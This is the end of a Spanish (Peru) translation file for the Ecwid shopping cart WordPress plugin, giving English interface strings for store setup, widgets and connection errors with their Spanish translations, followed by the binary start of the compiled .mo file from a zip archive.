href=\"https://www.ecwid.com/ecwid-mobile\">Más detalles.</a>" #: includes/faq_entries.php:12 msgid "How can I manage my store from a mobile device?" msgstr "¿Cómo puedo gestionar mi tienda desde un dispositivo móvil?" #: includes/faq_entries.php:6 msgid "Ecwid is PCI DSS Level 1 certified, which is the gold standard for e-commerce solutions worldwide. This means you won't have any banking compliance issues when selling online with Ecwid. <a target=\"_blank\" href=\"https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#security\">More details.</a>" msgstr "Ecwid cuenta con la certificación PCI DSS Nivel 1, que es el estándar de oro para las soluciones de comercio electrónico en todo el mundo. Esto significa que no tendrá problemas de cumplimiento bancario cuando venda en línea con Ecwid. <a target=\"_blank\" href=\"https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#security\">Más detalles.</a>" #: includes/faq_entries.php:5 msgid "How secure is this plugin? Is my store PCI DSS compliant?" msgstr "¿Qué tan seguro es este complemento? ¿Mi tienda cumple con el PCI DSS?" #: includes/class-ecwid-nav-menus.php:32 msgid "Ecwid Menu Item" msgstr "Elemento del menú de Ecwid" #: includes/class-ecwid-admin.php:179 includes/class-ecwid-admin.php:180 msgid "Help" msgstr "Ayuda" #: templates/admin-footer.php:27 msgid "Want to connect another %s store?" msgstr "¿Desea conectar otra tienda de %s?" #: templates/admin-footer.php:17 msgid "Questions?" msgstr "¿Tiene alguna pregunta?" #: templates/admin-footer.php:6 msgid "Manage Store on iPhone, iPad or Android" msgstr "Gestione la tienda desde iPhone, iPad o Android" #: includes/class-ecwid-message-manager.php:254 msgid "Complete Setup" msgstr "Completar configuración" #: includes/class-ecwid-message-manager.php:253 msgid "Complete setup and start selling" msgstr "Complete la configuración y comience a vender" #: includes/class-ecwid-message-manager.php:242 msgid "Greetings! Your %s plugin is now active." msgstr "¡Enhorabuena! Su complemento de %s ya está activo." #: templates/debug.php:12 msgid "Download log file" msgstr "Descargar archivo de registro" #: templates/help.php:67 includes/oembed.php:75 includes/oembed.php:104 msgid "See more" msgstr "Ver más" #: ecwid-shopping-cart.php:1051 msgid "I have a problem with my %s store" msgstr "Tengo un problema con mi tienda de %s" #: includes/class-ecwid-message-manager.php:55 msgid "Sorry, there is a problem. This page is supposed to display your store Control Panel. However, this Wordpress site doesn't seem to be able to connect to the Ecwid server to show your store dashboard here. This is likely caused by your server misconfiguration and can be fixed by your hosting provider. Here is a more techy description of the problem, which you can send to your hosting provider: \"The Wordpress function wp_remote_post() failed to connect a remote server because of some error: \"%s\". Seems like HTTP POST requests are disabled on this server\". <br /><br />Please feel free to contact us at <a %s>wordpress@ecwid.com</a> and we will help you contact your hosting and ask them to fix the issue. <br /><br /> Meanwhile, to manage your store, you can use the Ecwid Web Control Panel at <a %s>my.ecwid.com</a>. Your store front is working fine as well and you can check it here: <a %s>%s</a>." msgstr "Lo siento, hay un problema. Se supone que esta página muestra el panel de control de su tienda; sin embargo, este sitio web de Wordpress no parece poder conectarse al servidor de Ecwid para mostrar el panel de su tienda aquí. Es probable que esto se deba a una mala configuración del servidor; su proveedor de alojamiento web puede solucionarlo. Aquí hay una descripción más técnica del problema, la cual puede enviarle a su proveedor de alojamiento web: «La función de Wordpress wp_remote_post() no pudo conectarse a un servidor remoto debido al error: “%sâ€; parece que las solicitudes HTTP POST están inhabilitadas en este servidor». <br /><br />No dude en ponerse en contacto con nosotros en <a %s>wordpress@ecwid.com</a> y le ayudaremos a comunicarse con su proveedor de alojamiento web para pedirle que solucione el problema. <br /><br /> Mientras tanto, para gestionar su tienda, puede utilizar el panel de control web de Ecwid en <a %s>my.ecwid.com</a>. Su escaparate virtual está funcionando bien; puede echarle un vistazo aquí: <a %s>%s</a>." #: templates/store-popup.php:249 msgid "Open store dashboard" msgstr "Abrir el panel de la tienda" #: templates/store-popup.php:12 templates/store-popup.php:27 msgid "Store elements" msgstr "Elementos de la tienda" #: templates/reconnect-sso.php:10 msgid "Re-connect to Enable Control Panel" msgstr "Vuélvase a conectar para activar el panel de control" #: templates/reconnect-sso.php:8 msgid "Manage products, track sales, adjust settings - <nobr>All without</nobr> leaving this page." msgstr "Gestione productos, supervise las ventas y ajuste la configuración: <nobr>todo sin</nobr> salir de esta página." #: templates/reconnect-sso.php:7 msgid "Your store Control Panel. Right here in WordPress." msgstr "Panel de control de su tienda. Aquí mismo en WordPress." #: ecwid-shopping-cart.php:2114 msgid "Orders" msgstr "Pedidos" #: includes/class-ecwid-nav-menus.php:168 ecwid-shopping-cart.php:2118 msgid "The store top-level categories are automatically added to this drop-down menu" msgstr "Las categorías de alto nivel de la tienda se añaden automáticamente a este menú desplegable" #: includes/class-ecwid-nav-menus.php:167 ecwid-shopping-cart.php:2117 msgid "Done" msgstr "Hecho" #: includes/class-ecwid-nav-menus.php:166 ecwid-shopping-cart.php:2116 msgid "Refresh categories list" msgstr "Actualizar la lista de categorías" #: includes/class-ecwid-nav-menus.php:165 msgid "Store Page" msgstr "Página de la tienda" #: includes/class-ecwid-nav-menus.php:319 msgid "Add to Menu" msgstr "Añadir al menú" #: includes/class-ecwid-nav-menus.php:316 msgid "Select All" msgstr "Seleccionar todo" #: includes/class-ecwid-nav-menus.php:369 msgid "Store with Categories Menu" msgstr "Tienda con menú de categorías" #: includes/class-ecwid-nav-menus.php:352 #: includes/class-ecwid-nav-menus.php:355 msgid "My Account" msgstr "Mi cuenta" #: includes/class-ecwid-nav-menus.php:335 #: includes/class-ecwid-floating-minicart.php:135 #: includes/class-ecwid-admin-storefront-page.php:279 msgid "Cart" msgstr "Carrito" #: includes/class-ecwid-admin.php:87 includes/class-ecwid-admin.php:88 #: includes/class-ecwid-products.php:228 ecwid-shopping-cart.php:2112 msgid "Products" msgstr "Productos" #: includes/class-ecwid-admin.php:79 includes/class-ecwid-admin.php:80 msgid "Sales" msgstr "Ventas" #: ecwid-shopping-cart.php:1119 msgid "Report a problem with the store" msgstr "Informar un problema con la tienda" #: ecwid-shopping-cart.php:1036 msgid "%s plugin doesn't work well with my \"%s\" theme" msgstr "El complemento %s no funciona bien con mi tema «%s»" #: templates/admin/welcome-connection-message.php:22 #: templates/admin/welcome-connection-message.php:28 msgid "Looks like your site does not support remote POST requests that are required for %s API to work. Please, contact your hosting provider to enable cURL." msgstr "Parece que su sitio web no admite solicitudes POST remotas, las cuales son necesarias para que la API de %s funcione. Comuníquese con su proveedor de alojamiento web para habilitar cURL." #. Description of the plugin msgid "Ecwid is a free full-featured shopping cart. It can be easily integrated with any Wordpress blog and takes less than 5 minutes to set up." msgstr "Ecwid es un carrito de compras gratuito con todas las funciones. Se puede integrar fácilmente con cualquier blog de Wordpress y se configura en menos de 5 minutos." #. Plugin URI of the plugin msgid "http://www.ecwid.com?partner=wporg" msgstr "http://www.ecwid.com?partner=wporg" #: templates/store-svg.php:12 msgid "Demo Store" msgstr "Tienda de demostración" #: templates/store-svg.php:9 msgid "Your store will be shown here!" msgstr "¡Su tienda se mostrará aquí!" #: templates/product-popup.php:248 templates/store-popup.php:256 msgid "Update" msgstr "Actualizar" #: templates/store-popup.php:253 msgid "Insert into page" msgstr "Insertar en la página" #: templates/store-popup.php:246 msgid "Demo store" msgstr "Tienda de demostración" #: templates/store-popup.php:80 msgid "Additionally, you can add store controls to your website's toolbar using <a %s>WordPress native widgets</a>" msgstr "Además, puede añadir controles de la tienda a la barra de herramientas de su sitio web mediante <a %s>«widgets» nativos de WordPress</a>." #: templates/store-popup.php:74 #: includes/integrations/class-ecwid-integration-wpbakery-composer.php:86 msgid "Show categories" msgstr "Mostrar categorías" #: templates/store-popup.php:66 #: includes/integrations/class-ecwid-integration-wpbakery-composer.php:94 msgid "Show minicart" msgstr "Mostrar minicarrito" #: templates/store-popup.php:58 #: includes/integrations/class-ecwid-integration-wpbakery-composer.php:78 msgid "Show search" msgstr "Mostrar búsqueda" #: templates/store-popup.php:53 msgid "Product catalog will be shown automatically" msgstr "El catálogo de productos se mostrará automáticamente" #: templates/store-popup.php:52 msgid "Choose widgets to show" msgstr "Elija los «widgets» a mostrar" #: templates/admin/welcome-create.php:7 msgid "Connect your store" msgstr "Conecte su tienda" #: templates/admin/welcome-no_oauth.php:6 #: templates/importer/import-no-token.tpl.php:6 #: includes/class-ecwid-message-manager.php:291 msgid "Connect" msgstr "Conectar" #: templates/admin/legacy-connect.tpl.php:68 msgid "Save and connect your %s store to the site" msgstr "Guarde y conecte su tienda de %s al sitio web" #: templates/admin/legacy-connect.tpl.php:59 msgid "Enter your Store ID here:" msgstr "Introduzca el ID de su tienda aquí:" #: templates/admin/legacy-connect.tpl.php:52 msgid "Store ID is a unique identifier of any %1$s store, it consists of several digits. You can find it on the \"Dashboard\" page of %1$s control panel. Also the Store ID will be sent in the Welcome email after the registration." msgstr "El ID de la tienda es un identificador único de cualquier tienda de %1$s, el cual consta de varios dígitos. Puede encontrarlo en la página «Panel» del panel de control de %1$s. El ID de la tienda se enviará en el correo electrónico de bienvenida después del registro." #: templates/admin/legacy-connect.tpl.php:50 msgid "Find your Store ID" msgstr "Encuentre el ID de su tienda" #: templates/admin/legacy-connect.tpl.php:46 msgid "You will be able to sign up through your existing Google, Facebook or PayPal profiles as well." msgstr "También podrá registrarse a través de sus perfiles existentes de Google, Facebook o PayPal." #: templates/admin/legacy-connect.tpl.php:42 msgid "I already have an account, sign in" msgstr "Ya tengo una cuenta, iniciar sesión" #: templates/admin/legacy-connect.tpl.php:35 msgid "Create a new %s account which you will use to manage your store and inventory. The registration is free." msgstr "Cree una nueva cuenta de %s que utilizará para gestionar su tienda e inventario. El registro es gratuito." #: templates/admin/legacy-connect.tpl.php:24 msgid "The first step towards opening your online business: <br />Let’s get started and add a store to your WordPress website in <strong>3</strong> simple steps." msgstr "El primer paso para abrir su negocio en línea: <br />añadamos una tienda a su sitio web de WordPress en <strong>3</strong> simples pasos." #: templates/admin/legacy-connect.tpl.php:21 msgid "Thank you for choosing %s to build your online store" msgstr "Gracias por elegir %s para construir su tienda en línea" #: templates/admin/simple-dashboard.php:58 msgid "Open control panel" msgstr "Abrir el panel de control" #: templates/admin/simple-dashboard.php:42 msgid "Your %s store is connected<br /> to your WordPress website" msgstr "Su tienda de %s está conectada<br /> a su sitio web de WordPress" #: templates/admin/simple-dashboard.php:39 msgid "Greetings!" msgstr "¡Saludos!" #: templates/admin/simple-dashboard.php:34 msgid "Your %s store is now connected<br /> to your WordPress website" msgstr "Su tienda de %s ahora está conectada<br /> a su sitio web de WordPress" #: templates/admin/simple-dashboard.php:31 msgid "Congratulations!" msgstr "¡Enhorabuena!" #: templates/admin/simple-dashboard.php:18 msgid "Disconnect store" msgstr "Desconectar tienda" #: templates/admin/legacy-connect.tpl.php:65 #: templates/admin/simple-dashboard.php:14 templates/store-popup.php:244 #: templates/store-svg.php:14 #: includes/integrations/class-ecwid-integration-gutenberg.php:104 #: includes/gutenberg/class-ecwid-gutenberg.php:130 msgid "Store ID" msgstr "ID de la tienda" #: templates/admin/welcome-connection-message.php:15 msgid "Connection error - after clicking button you need to login and provide permissions to use our plugin. Please, try again." msgstr "Error de conexión: después de hacer clic en el botón, debe iniciar sesión y otorgar los permisos para poder utilizar nuestro complemento. Inténtelo de nuevo." #: templates/admin/legacy-connect.tpl.php:57 #: templates/admin/welcome-no_oauth.php:3 msgid "Enter your Store ID" msgstr "Introduzca el ID de su tienda" #: templates/store-popup.php:221 msgid "Default view mode on search results" msgstr "Modo de vista predeterminado en los resultados de búsqueda" #: templates/store-popup.php:214 templates/store-popup.php:232 msgid "Table" msgstr "Tabla" #: templates/store-popup.php:211 templates/store-popup.php:229 msgid "List" msgstr "Lista" #: templates/store-popup.php:208 templates/store-popup.php:226 msgid "Grid" msgstr "Cuadrícula" #: templates/store-popup.php:204 msgid "Default view mode on product pages" msgstr "Modo de vista predeterminado en las páginas de productos" #: templates/store-popup.php:184 msgid "Here you can control how many products will be displayed per page. These options define maximum values. If there is not enough space to show all product columns, %s will adapt the number of columns to hold all products." msgstr "Aquí puede gestionar cuántos productos se mostrarán por página. Estas opciones definen valores máximos. Si no hay suficiente espacio para mostrar todas las columnas de productos, %s adaptará el número de columnas para mantener todos los productos." #: templates/store-popup.php:169 msgid "Table view" msgstr "Vista de tabla" #: templates/store-popup.php:152 msgid "List view" msgstr "Vista de lista" #: templates/store-popup.php:125 msgid "Grid view" msgstr "Vista de cuadrícula" #: templates/store-popup.php:123 msgid "Number of products per page" msgstr "Número de productos por página" #: templates/store-popup.php:191 msgid "Number of categories per row" msgstr "Número de categorías por fila" #: templates/advanced-settings.php:98 msgid "Save changes" msgstr "Guardar cambios" #: includes/class-ecwid-product-browser.php:202 msgid "Default category ID" msgstr "ID de categoría predeterminada" #: templates/store-popup.php:98 #: includes/integrations/elementor/class-ec-elementor-widget-store.php:127 #: includes/integrations/class-ecwid-integration-gutenberg.php:427 #: includes/integrations/class-ecwid-integration-wpbakery-composer.php:56 #: includes/gutenberg/class-ecwid-gutenberg-block-store.php:248 msgid "Store root category" msgstr "Categoría raíz de la tienda" #: templates/store-popup.php:90 #: includes/integrations/class-ecwid-integration-wpbakery-composer.php:101 msgid "Category shown by default" msgstr "Categoría mostrada por defecto" #: templates/admin-message.php:47 msgid "Never show this message again" msgstr "Nunca mostrar este mensaje otra vez" #: templates/product-popup.php:194 lib/ecwid_platform.php:209 #: js/gutenberg/blocks.build.js:1 msgid "Price" msgstr "Precio" #: includes/class-ecwid-store-editor.php:75 #: includes/integrations/class-ecwid-integration-gutenberg.php:102 #: includes/gutenberg/class-ecwid-gutenberg.php:128 msgid "Edit Appearance" msgstr "Editar apariencia" #: includes/class-ecwid-store-editor.php:60 msgid "Edit Store" msgstr "Editar tienda" #: templates/store-popup.php:11 templates/store-popup.php:21 #: includes/class-ecwid-store-editor.php:52 msgid "Add Store" msgstr "Añadir tienda" #: includes/class-ecwid-message-manager.php:261 msgid "Back to Store Settings" msgstr "Regresar a la configuración de la tienda" #: includes/class-ecwid-message-manager.php:252 msgid "Your store is almost ready!" msgstr "¡Su tienda ya está casi lista!" #: includes/class-ecwid-message-manager.php:243 msgid "Take a few simple steps to complete store setup" msgstr "Siga unos sencillos pasos para completar la configuración de la tienda" #: includes/widgets/class-ecwid-widget-products-base.php:205 msgid "Number of products to show" msgstr "Número de productos para mostrar" #: includes/widgets/class-ecwid-widget-recently-viewed.php:89 msgid "Store Link Title" msgstr "Título del enlace de la tienda" #: templates/product-popup.php:183 includes/class-ecwid-product-browser.php:249 #: includes/widgets/class-ecwid-widget-products-base.php:199 #: js/gutenberg/blocks.build.js:1 msgid "Title" msgstr "Título" #: includes/widgets/class-ecwid-widget-recently-viewed.php:69 #: includes/widgets/class-ecwid-widget-recently-viewed.php:91 msgid "You have not viewed any product yet. Open store." msgstr "Aún no ha visto ningún producto. Abra la tienda." #: includes/widgets/class-ecwid-widget-recently-viewed.php:11 msgid "Recently Viewed Products" msgstr "Productos vistos recientemente" #: includes/widgets/class-ecwid-widget-recently-viewed.php:12 msgid "Displays a list of products recently viewed by the customer to easily return to the products they saw in your shop." msgstr "Muestra una lista de productos vistos recientemente por el cliente para volver fácilmente a los productos que vieron en su tienda." #: includes/widgets/class-ecwid-widget-store-link.php:35 msgid "Text" msgstr "Texto" #: includes/themes/class-ecwid-theme-twentyseventeen.php:48 #: includes/themes/class-ecwid-theme-twentyseventeen.php:54 #: includes/themes/class-ecwid-theme-twentyfifteen.php:34 #: includes/themes/class-ecwid-theme-twentyfifteen.php:40 #: includes/themes/class-ecwid-theme-twentysixteen.php:36 #: includes/themes/class-ecwid-theme-twentysixteen.php:42 #: includes/widgets/class-ecwid-widget-store-link.php:31 msgid "Shop" msgstr "Tienda" #: includes/widgets/class-ecwid-widget-store-link.php:10 msgid "Store Page Link" msgstr "Enlace a la página de la tienda" #: includes/widgets/class-ecwid-widget-store-link.php:9 msgid "Displays a link to the store page in sidebar for customer to quickly access your store from any page on the site." msgstr "Muestra un enlace a la página de la tienda en la barra lateral para que el cliente acceda rápidamente a su tienda desde cualquier página del sitio web." #: includes/widgets/class-ecwid-widget-vcategories.php:9 msgid "Store Categories" msgstr "Categorías de la tienda" #: includes/widgets/class-ecwid-widget-vcategories.php:8 msgid "Adds vertical categories block to let the customer navigate your store." msgstr "Añade un bloque de categorías verticales para permitir que el cliente navegue por su tienda." #: includes/class-ecwid-nav-menus.php:344 #: includes/class-ecwid-nav-menus.php:347 #: includes/widgets/class-ecwid-widget-search.php:13 msgid "Product Search" msgstr "Búsqueda de productos" #: includes/widgets/class-ecwid-widget-search.php:12 msgid "Displays a simple search box for your customers to find a product in your store" msgstr "Muestra un cuadro de búsqueda simple para que sus clientes encuentren un producto en su tienda." #: includes/widgets/class-ecwid-widget-minicart-miniview.php:8 msgid "Adds a compact cart widget for customer to see the products they added to the cart." msgstr "Añade un «widget» de carrito compacto para que el cliente vea los productos que se han añadido al carrito." #: includes/widgets/class-ecwid-widget-minicart.php:41 #: includes/widgets/class-ecwid-widget-random-product.php:67 #: includes/widgets/class-ecwid-widget-search.php:46 #: includes/widgets/nsf-minicart-editor.tpl.php:50 #: includes/widgets/class-ecwid-widget-minicart-miniview.php:41 #: includes/widgets/class-ecwid-widget-vcategories.php:39 #: includes/widgets/class-ecwid-widget-vertical-categories-list.php:76 msgid "Title:" msgstr "Título:" #: includes/class-ecwid-nav-menus.php:338 #: includes/widgets/class-ecwid-widget-nsf-minicart.php:20 msgid "Shopping Cart" msgstr "Carrito de compras" #: includes/widgets/class-ecwid-widget-minicart.php:8 #: includes/widgets/class-ecwid-widget-nsf-minicart.php:19 msgid "Adds a cart widget for customer to see the products they added to the cart." msgstr "Añade un «widget» de carrito para que el cliente vea los productos que se han añadido al carrito." #: includes/widgets/class-ecwid-widget-badge.php:51 #: includes/widgets/class-ecwid-widget-badge.php:63 msgid "Ecwid e-commerce widgets" msgstr "«Widget» de comercio electrónico de Ecwid" #: includes/widgets/class-ecwid-widget-badge.php:45 #: includes/widgets/class-ecwid-widget-badge.php:57 msgid "Ecwid shopping cart" msgstr "Carrito de compras de Ecwid" #: includes/widgets/class-ecwid-widget-badge.php:39 #: includes/widgets/class-ecwid-widget-badge.php:75 msgid "Ecwid free shopping cart" msgstr "Carrito de compras gratuito de Ecwid" #: includes/widgets/class-ecwid-widget-badge.php:33 #: includes/widgets/class-ecwid-widget-badge.php:69 msgid "Ecwid ecommerce solution" msgstr "Solución de comercio electrónico de Ecwid" #: includes/widgets/class-ecwid-widget-badge.php:21 #: includes/widgets/class-ecwid-widget-badge.php:27 msgid "Ecwid shopping cart widget" msgstr "«Widget» de carrito de compras de Ecwid" #: includes/widgets/class-ecwid-widget-badge.php:14 msgid "Ecwid Badge" msgstr "Distintivo de Ecwid" #: includes/widgets/class-ecwid-widget-badge.php:13 msgid "Do you like Ecwid and want to help it grow? You can add this fancy 'Powered by Ecwid' badge on your site to show your visitors that you're a proud user of Ecwid." msgstr "¿Le gusta Ecwid y quiere ayudarlo a crecer? Puede añadir este elegante distintivo «Powered by Ecwid» en su sitio web para mostrarles a sus visitantes que es un usuario orgulloso de Ecwid." #: ecwid-shopping-cart.php:2791 msgid "Recommendations for Your Online Store" msgstr "Recomendaciones para su tienda en línea" #: includes/class-ecwid-admin.php:528 #: includes/integrations/class-ecwid-integration-wpbakery-composer.php:77 #: includes/integrations/class-ecwid-integration-wpbakery-composer.php:87 #: includes/integrations/class-ecwid-integration-wpbakery-composer.php:95 #: includes/integrations/class-ecwid-integration-wpbakery-composer.php:103 #: ecwid-shopping-cart.php:2056 msgid "Settings" msgstr "Configuraciones" #: includes/class-ecwid-admin.php:165 msgid "Advanced" msgstr "Avanzado" #: includes/class-ecwid-admin.php:164 msgid "Advanced settings" msgstr "Configuraciones avanzadas" #: templates/product-popup.php:206 templates/store-popup.php:14 #: templates/store-popup.php:34 #: includes/integrations/elementor/class-ec-elementor-widget-buynow.php:44 #: includes/integrations/elementor/class-ec-elementor-widget-store.php:78 #: js/gutenberg/blocks.build.js:1 msgid "Appearance" msgstr "Apariencia" #: includes/class-ecwid-admin.php:28 includes/class-ecwid-admin.php:59 #: includes/class-ecwid-admin.php:459 ecwid-shopping-cart.php:2110 msgid "Dashboard" msgstr "Panel" #: includes/class-ecwid-admin.php:57 ecwid-shopping-cart.php:2056 msgid "Setup" msgstr "Configuración" #: includes/class-ecwid-admin.php:47 msgid "%s shopping cart settings" msgstr "Configuraciones del carrito de compras de %s" #: includes/class-ecwid-nav-menus.php:132 #: includes/class-ecwid-nav-menus.php:361 #: includes/class-ecwid-nav-menus.php:364 #: includes/class-ecwid-nav-menus.php:372 includes/class-ecwid-admin.php:206 #: includes/class-ecwid-admin.php:207 includes/class-ecwid-admin.php:220 #: includes/class-ecwid-admin.php:221 #: includes/integrations/elementor/class-ec-elementor-widget-store.php:63 #: includes/class-ecwid-admin-storefront-page.php:257 #: ecwid-shopping-cart.php:1657 msgid "Store" msgstr "Tienda" #: ecwid-shopping-cart.php:1306 msgid "<a %s>Online store powered by %s</a>" msgstr "<a %s>Tienda en línea con tecnología de %s</a>" #: includes/class-ecwid-admin.php:489 msgid "Sell on Facebook" msgstr "Vender en Facebook" #: templates/admin/simple-dashboard.php:48 ecwid-shopping-cart.php:1094 msgid "Visit storefront" msgstr "Visitar escaparate virtual" PK������Ê—[ÃÔ³$$*�$*�:��ecwid-shopping-cart/languages/ecwid-shopping-cart-es_PE.monu�„[µü¤��������Þ•����e�����D��5��l&������@3�����A3��H���Y3�����¢3�����³3�����¶3�����¾3�����Ï3�� ���Ø3��.���æ3�� ���4�� ��� 4�����,4�����J4�����e4��ç��4�����g6��B���€6�����Ã6�����à6�����þ6�����7��$���97�����^7�����r7�����‹7��Ñ��� 7��/���r8�� ���¢8�� ���®8�����¸8�����Ï8�����ã8�����ö8�����9��#���%9�� ���I9�����T9�����o9�����~9�� ���ž9�� ���¿9��>���Ë9��"��� :��·���-:�����å:��k���ü:��K���h;��S���´;��A���<��R���J<��G���<��4���å<�� ���=�����&=�����/=��&���A=�����h=��T���{=�� ���Ð=�����Û=�����à=�����÷=�����>�����>�����#>�� ���*>�����8>�����?>�� ���G>�� ���S>�� ���`>�����l>�����>��4���”>�� ���É>�����Ö>�����Þ>�����í>��X���ý>�� ���V?�����`?��/���g?��,���—?�����Ä?�����Ë?�����Ð?�� ���â?�� ���ì?�����÷?�� ���ÿ?����� @�����@�����,@�����A@�����[@�����{@�����“@�����š@�����±@�����¸@�����Í@�����Ü@��.���ë@�����A�����5A��D���LA�����‘A����� A�� ���¯A�� ���ÐA�����ÞA�����ïA�����÷A����� B����� B��x���3B�����¬B�� ���¼B�����ÇB�� ���ÏB�����ðB�����C�����C�����*C�� ���=C�����JC��5���\C��h���’C��¤���ûC����� D�� ���³D�� ���ÀD��5���ÍD�����E�� ���E��x���%E��i���žE�����F�����F�����4F�����QF�����bF�����äF�� ���õF�����ÿF�����G�����$G��"���7G��#���ZG��/���~G�� ���®G�� ���¹G�����ÄG�����ËG�����ÞG�����óG�����H�����H�����-H�����?H��!���WH�����yH�����H��6���£H��!���ÚH�����üH��*���I��%���:I�����`I��'���vI�����žI�����³I��,���ÈI�����õI��q���J��s���yJ��#���íJ��H���K��O���ZK��1���ªK��s���ÜK�� ���PL��¡���\L��v���þL�����uM��$���zM�����ŸM�����±M�����·M�� ���ÓM�����ßM�����ïM����� N��s���N�����‘N�����ªN�����ÃN��=��ÜN��‰���P����¤P����¼Q�����ÜR�����ðR����� S�����S�� ��� S�� ���.S�� ���;S�� ���FS�� ���TS��œ���^S��¢���ûS�����žT�����²T�����ÌT��B���æT��$���)U�����NU�����VU�����mU�� ���€U�����‹U�����¦U�� ���¸U�����ÄU�� ���ÛU��(���æU�����V�� ���V�����V��±���#V��.���ÕV��Û���W��D���àW��h���%X�����ŽX��_���“X��C���óX�����7Y�����IY��/���_Y��/���Y�����¿Y��/���ÔY��(���Z�����-Z��9���GZ��I���Z��2���ËZ��"���þZ��:���![�����\[��"���t[��!���—[�����¹[�����Ø[�����Ý[�����ñ[��$��� \��*���1\��B���\\�����Ÿ\�� ���½\�����È\�� ���Ý\�����è\��+���ï\�����]��-���,]��P���Z]�����«]��#���Á]��'���å]��)��� ^�� ���7^�����X^��%���g^��+���^��+���¹^�����å^�����_�����_�����!_�� ���2_��$���?_��9���d_��%���ž_��:���Ä_�����ÿ_�����`�����`�����&`�����(`�� ���=`�� ���K`�� ���Y`�� ���c`�����o`�����`�����†`�� ���Ž`�����™`�����ž`�� ���¯`�����º`�����É`�� ���Î`��–���Ø`�����oa�����„a�����ša��S���œa�����ða��'���ÿa��[���'b�� ���ƒb�����b�� ���¢b�����¬b�� ���³b�� ���¾b�����Éb�����Òb�� ���×b��9���âb�����c�� ���:c�� ���Dc�� ���Nc�� ���Xc�����bc��Ò���wc��I���Jd�����”d�����±d�����Íd�� ���èd�� ���ôd�� ���e�����e�� ��� e�����-e�����@e�����Ue�����]e�����de��þ���je��å���if��#���Og�����sg�� ���‚g��ß���Œg�����lh�����th�� ���i�� ���i�����i�����%i��O��*i��4���zj�����¯j�� ���Áj�� ���Îj�����Ûj�����äj�� ���ìj�����új�� ����k����� k�����k�����'k�����:k�����Rk�� ���jk�����vk�����…k�����˜k�����³k��+���Ëk�����÷k�� ��� l�����l�����*l�����Bl�����al�� ���xl�����†l��I���l��'���Ùl�����m�����m�����$m�����=m�����Em��#���Xm�� ���|m�����†m�� ���m�����šm�����©m�����¹m��"���Òm�����õm��%���n�� ���4n�����>n�����Vn�����en�����…n�����n�����“n�����•n�����™n�����Ÿn�����®n��*���³n�� ���Þn�����ën�����òn�����o�����o�����/o�� ���8o�����Co�����So�����do�����vo�� ���‡o��"���”o�����·o�����Ëo�� ���Ýo�����êo�����üo�����p����� p�����p�� ���"p�����0p��#���Kp�����op�����‚p�����¢p�����·p�����¼p�����Ûp��V���ëp�� ���Bq�� ���cq�����qq�� ���ƒq�����‘q��&���¥q��(���Ìq�����õq�����r�� ���&r�����2r�� ���Br�� ��cr�� ���ns�����ys��(���“s��*���¼s��‡��çs�� ���ow�� ���zw�����‡w��•���Žw��.���$x�����Sx�����Yx�����jx�����€x�����”x�����¥x�����µx��Ü���¾x��ƒ���›y�����z�����0z�� ���Az�����Lz�����\z�����rz�����ƒz�����’z�����£z�����¶z�����Îz�����âz�� ���ýz�����{�����{�����${�����4{�����I{�� ���O{��/���Z{��N���Š{�����Ù{�� ���Þ{��4���é{��¨���|��=���Ç|��œ���}��-���¢}��Á���Ð}��%���’~��M���¸~�������P�����H���h��P���±�����€�����€�� ���€�� ���"€�����/€�����A€��’���H€��©���Û€��®���…�� ��4‚��E��>ƒ��‰���„…��]���†��ñ���l†��%��^‡��*��„ˆ��*��¯‰��y���ÚŠ��>���T‹��¡���“‹��h���5Œ��L���žŒ�����ëŒ�� ���ôŒ�����þŒ����������,�����5�����<�����P�����l�����|����������Ÿ�����¯�����¿�����Ô�����ä�����õ�����Ž�� ���Ž��!��� Ž��j���BŽ��—���­Ž�����E��^���Å�����$�����,�����F�� ���V��‡���c�����ë�� ��ü��±���’��C��¹’��B��ý“��k���@•�����¬•��¨���­–��©���V—�� ����˜��0���!˜��^���R˜�����±˜��:���Ę��>���ÿ˜�����>™�����N™�����j™�� ���ƒ™��2���™��?���Ù��Ò���š�����Öš��’���òš�����…›��y���•›��A���œ�����Qœ�����oœ��€��Žœ��:���ž�����Jž�����_ž�� ���ž��"��� ž�����Þ��"���ßž��H���Ÿ��)���KŸ�����uŸ�����Ÿ��&���°Ÿ��(���ן������ ����� �����  �����4 ��Ü��G �����$¢��e���:¢��'��� ¢�����È¢�� ���Ë¢�����Ö¢�� ���ï¢�����ü¢��5���£�� ���M£�� ���Y£�����f£�����„£��,���Ÿ£��Š��Ì£�����W¦��B���v¦��!���¹¦�����Û¦��!���û¦�����§��0���=§�����n§�����Ч�����£§����¹§��*���½¨�����è¨�����ù¨��(���©��!���1©�����S©��*���p©�����›©��+���¹©�� ���å©��!���ó©�����ª��6���)ª��1���`ª�����’ª��C���£ª��/���çª��ø���«��!���¬�����2¬��e���À¬��n���&­��Z���•­��o���ð­��^���`®��R���¿®�����¯�����,¯�����5¯��5���O¯�����…¯��h��� ¯�� ��� °�� ���°��!���!°��)���C°�����m°�����}°�����ƒ°�����‰°�����ž°�����¤°�����«°�����À°�� ���Ó°�����à°�����þ°��:���±�����O±�� ���`±�����n±�����‡±��`���¤±�� ���²�� ���²��=���²��9���W²�����‘²�����š²�����¢²�����±²�����β�� ���á²�� ���ë²�� ���÷²��%���³��!���(³�����J³��5���j³��(��� ³�����ɳ��%���Ò³�����ø³��!����´�����"´�����2´��C���B´��(���†´�����¯´��g���Ï´�����7µ�����Qµ��.���jµ�����™µ�����¨µ�����·µ�����Àµ�����Òµ�����êµ��¢���üµ��%���Ÿ¶��!���Ŷ�� ���ç¶��!���ñ¶�����·�����-·�����J·�����e·�� ���€·�����·��8���«·��j���ä·��´���O¸�����¹�� ���¹�����(¹��I���7¹��$���¹�����¦¹�����¯¹��x���@º�����¹º��'���Ѻ��5���ùº�����/»��œ���G»�����ä»�����ö»�����ü»�����¼�����6¼��9���U¼��;���¼��0���˼�����ü¼�����½�����,½�����4½�����H½�����b½�����u½�����‘½�����¦½�����À½��2���à½��!���¾��#���5¾��I���Y¾��+���£¾�����Ͼ��6���î¾��/���%¿�����U¿��2���s¿��&���¦¿�����Í¿��E���ì¿�����2À��š���DÀ��ƒ���ßÀ��*���cÁ��P���ŽÁ��`���ßÁ��:���@Â�����{Â�� ��� Ã��¿���Ã��€���ÔÃ�����UÄ��3���[Ä�����Ä�����­Ä��'���¶Ä�����ÞÄ�����òÄ��5���Å�����DÅ��’���`Å��,���óÅ��+��� 